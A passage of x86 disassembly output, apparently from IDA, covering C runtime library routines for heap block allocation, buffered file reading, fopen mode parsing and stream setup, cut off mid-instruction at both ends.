[ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE70 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE70, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE50 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2680572h cmp eax, esi jnz loc_41F70F push 0 push [ebp+var_8] push esi call sub_41BF70 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE70, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE70, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; =============== S U B R O U T I N E ======================================= sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p ; sub_41C52F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F9B7 test al, 40h jnz loc_41F9B7 test al, 2 jz short loc_41F909 or al, 20h mov [esi+0Ch], eax jmp loc_41F9B7 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F8E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F91D push esi call sub_4241F7 pop ecx jmp short loc_41F922 ; --------------------------------------------------------------------------- loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F922: ; CODE XREF: sub_41F8E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F9A6 cmp eax, 0FFFFFFFFh jz short loc_41F9A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F97B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F964 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DD040[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F969 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8E3+6Bj mov edi, offset dword_43D4D0 loc_41F969: ; CODE XREF: sub_41F8E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F97B or dh, 20h mov [esi+0Ch], edx loc_41F97B: ; CODE XREF: sub_41F8E3+62j ; sub_41F8E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F998 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F998 test ch, 4 jnz short loc_41F998 mov dword ptr [esi+18h], 1000h loc_41F998: ; CODE XREF: sub_41F8E3+9Fj ; sub_41F8E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8E3+55j ; sub_41F8E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj ; sub_41F8E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F8E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p ; sub_41F8E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DD140 jnb loc_41FB99 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DD040h[eax*4] mov eax, dword_4DD040[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FB99 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41FA71 test dl, 2 jnz short loc_41FA71 test dl, 48h jz short loc_41FA31 mov al, [eax+5] cmp al, 0Ah jz short loc_41FA31 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41FA31: ; CODE XREF: sub_41F9BC+56j ; sub_41F9BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2730000h test eax, eax jnz short loc_41FA84 call near ptr 26B0669h nop push 5 pop ecx cmp eax, ecx jnz short loc_41FA6C mov dword_4DBDDC, 9 mov dword_4DBDE0, ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA6C: ; CODE XREF: sub_41F9BC+99j cmp eax, 6Dh jnz short loc_41FA78 loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj ; sub_41F9BC+51j xor eax, eax jmp loc_41FBAD ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9BC+B3j push eax call sub_420C7F pop ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FB94 test edx, edx jz short loc_41FAA9 cmp byte ptr [edi], 0Ah jnz short loc_41FAA9 or al, 4 jmp short loc_41FAAB ; --------------------------------------------------------------------------- loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j ; sub_41F9BC+E7j and al, 0FBh loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FB8E loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FB7E cmp al, 0Dh jz short loc_41FADF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FB70 ; --------------------------------------------------------------------------- loc_41FADF: ; CODE XREF: sub_41F9BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FAFD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FAF4 add [ebp+arg_8], 2 jmp short loc_41FB52 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F9BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F9BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2730000h test eax, eax jnz short loc_41FB25 call near ptr 26B0669h nop test eax, eax jnz short loc_41FB6C loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj cmp [ebp+var_C], 0 jz short loc_41FB6C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FB47 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FB52 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F9BC+176j cmp edi, [ebp+arg_4] jnz short loc_41FB57 cmp [ebp+var_1], 0Ah jnz short loc_41FB57 loc_41FB52: ; CODE XREF: sub_41F9BC+136j ; sub_41F9BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FB6F ; --------------------------------------------------------------------------- loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej ; sub_41F9BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422F09 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FB70 loc_41FB6C: ; CODE XREF: sub_41F9BC+167j ; sub_41F9BC+16Dj mov byte ptr [edi], 0Dh loc_41FB6F: ; CODE XREF: sub_41F9BC+199j inc edi loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej ; sub_41F9BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FAC3 jmp short loc_41FB8E ; --------------------------------------------------------------------------- loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FB8E or al, 2 mov [esi], al loc_41FB8E: ; CODE XREF: sub_41F9BC+101j ; sub_41F9BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FB94: ; CODE XREF: sub_41F9BC+DAj mov eax, [ebp+var_8] jmp short loc_41FBAD ; --------------------------------------------------------------------------- loc_41FB99: ; CODE XREF: sub_41F9BC+12j ; sub_41F9BC+39j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj ; sub_41F9BC+C3j or eax, 0FFFFFFFFh loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j ; sub_41F9BC+1DBj pop edi pop esi pop ebx leave retn sub_41F9BC endp ; =============== S U B R O U T I N E ======================================= sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p ; sub_41BBE2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DBE44 test eax, eax jz short loc_41FBCA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FBCA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FBCA: ; CODE XREF: sub_41FBB2+7j ; sub_41FBB2+12j xor eax, eax retn sub_41FBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBFB0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FC06 cmp al, 72h jz short loc_41FBFF cmp al, 77h jnz loc_41FD1A mov ecx, 301h jmp short loc_41FC0B ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FBCD+21j xor ecx, ecx or esi, 1 jmp short loc_41FC0E ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj mov ecx, 109h loc_41FC0B: ; CODE XREF: sub_41FBCD+30j or esi, 2 loc_41FC0E: ; CODE XREF: sub_41FBCD+37j push 1 pop edx loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj ; sub_41FBCD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FD00 cmp edx, ebx jz loc_41FD00 movsx eax, al cmp eax, 54h jg short loc_41FC9F jz short loc_41FC8F sub eax, 2Bh jz short loc_41FC79 sub eax, 19h jz short loc_41FC6F sub eax, 0Eh jz short loc_41FC5A dec eax jnz loc_41FCF1 cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj test cl, 40h jnz short loc_41FCF1 or ecx, 40h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC79: ; CODE XREF: sub_41FBCD+65j test cl, 2 jnz short loc_41FCF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC8F: ; CODE XREF: sub_41FBCD+60j mov eax, 1000h test ecx, eax jnz short loc_41FCF1 or ecx, eax jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej sub eax, 62h jz short loc_41FCEC dec eax jz short loc_41FCD5 sub eax, 0Bh jz short loc_41FCBE sub eax, 6 jnz short loc_41FCF1 test ch, 0C0h jnz short loc_41FCF1 or ch, 40h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j test ch, 0C0h jz short loc_41FCF8 loc_41FCF1: ; CODE XREF: sub_41FBCD+72j ; sub_41FBCD+7Bj ... xor edx, edx jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FBCD+122j or ch, 80h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj ; sub_41FBCD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42423B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FD1E loc_41FD1A: ; CODE XREF: sub_41FBCD+25j xor eax, eax jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj mov eax, [ebp+arg_C] inc dword_4DBFAC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj pop edi pop esi pop ebx leave retn sub_41FBCD endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41BE82p mov edx, dword_4DD020 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FDAE mov ebx, dword_4DC01C mov edi, ebx loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FD74 test byte ptr [ecx+0Ch], 83h jz short loc_41FD6F inc eax add edi, 4 cmp eax, edx jl short loc_41FD59 jmp short loc_41FDAE ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FD3D+26j mov esi, [ebx+eax*4] jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD74: ; CODE XREF: sub_41FD3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BEB5 pop ecx mov ecx, dword_4DC01C mov [edi+ecx], eax mov eax, dword_4DC01C mov edi, [edi+eax] cmp edi, ebp jz short loc_41FDAE mov esi, edi loc_41FD98: ; CODE XREF: sub_41FD3D+35j cmp esi, ebp jz short loc_41FDAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FDAE: ; CODE XREF: sub_41FD3D+12j ; sub_41FD3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p ; sub_41C0CE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FDD3 mov ecx, off_43CE78 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FE25 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41FDB5+10j mov ecx, eax push esi mov esi, off_43CE78 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FDF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDF8: ; CODE XREF: sub_41FDB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FE01: ; CODE XREF: sub_41FDB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4244F4 add esp, 1Ch test eax, eax jnz short loc_41FE21 leave retn ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FDB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE2A proc near ; CODE XREF: sub_41C266+46p ; sub_41C360+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FF33 test al, 40h jnz loc_41FF33 test al, 1 jz short loc_41FE62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FF33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FE62: ; CODE XREF: sub_41FE2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FE9C cmp esi, offset dword_43D588 jz short loc_41FE8A cmp esi, offset dword_43D5A8 jnz short loc_41FE95 loc_41FE8A: ; CODE XREF: sub_41FE2A+56j push ebx call sub_42463D test eax, eax pop ecx jnz short loc_41FE9C loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej push esi call sub_4241F7 pop ecx loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej ; sub_41FE2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FF09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FECC push edi push eax push ebx call sub_4230FB add esp, 0Ch mov 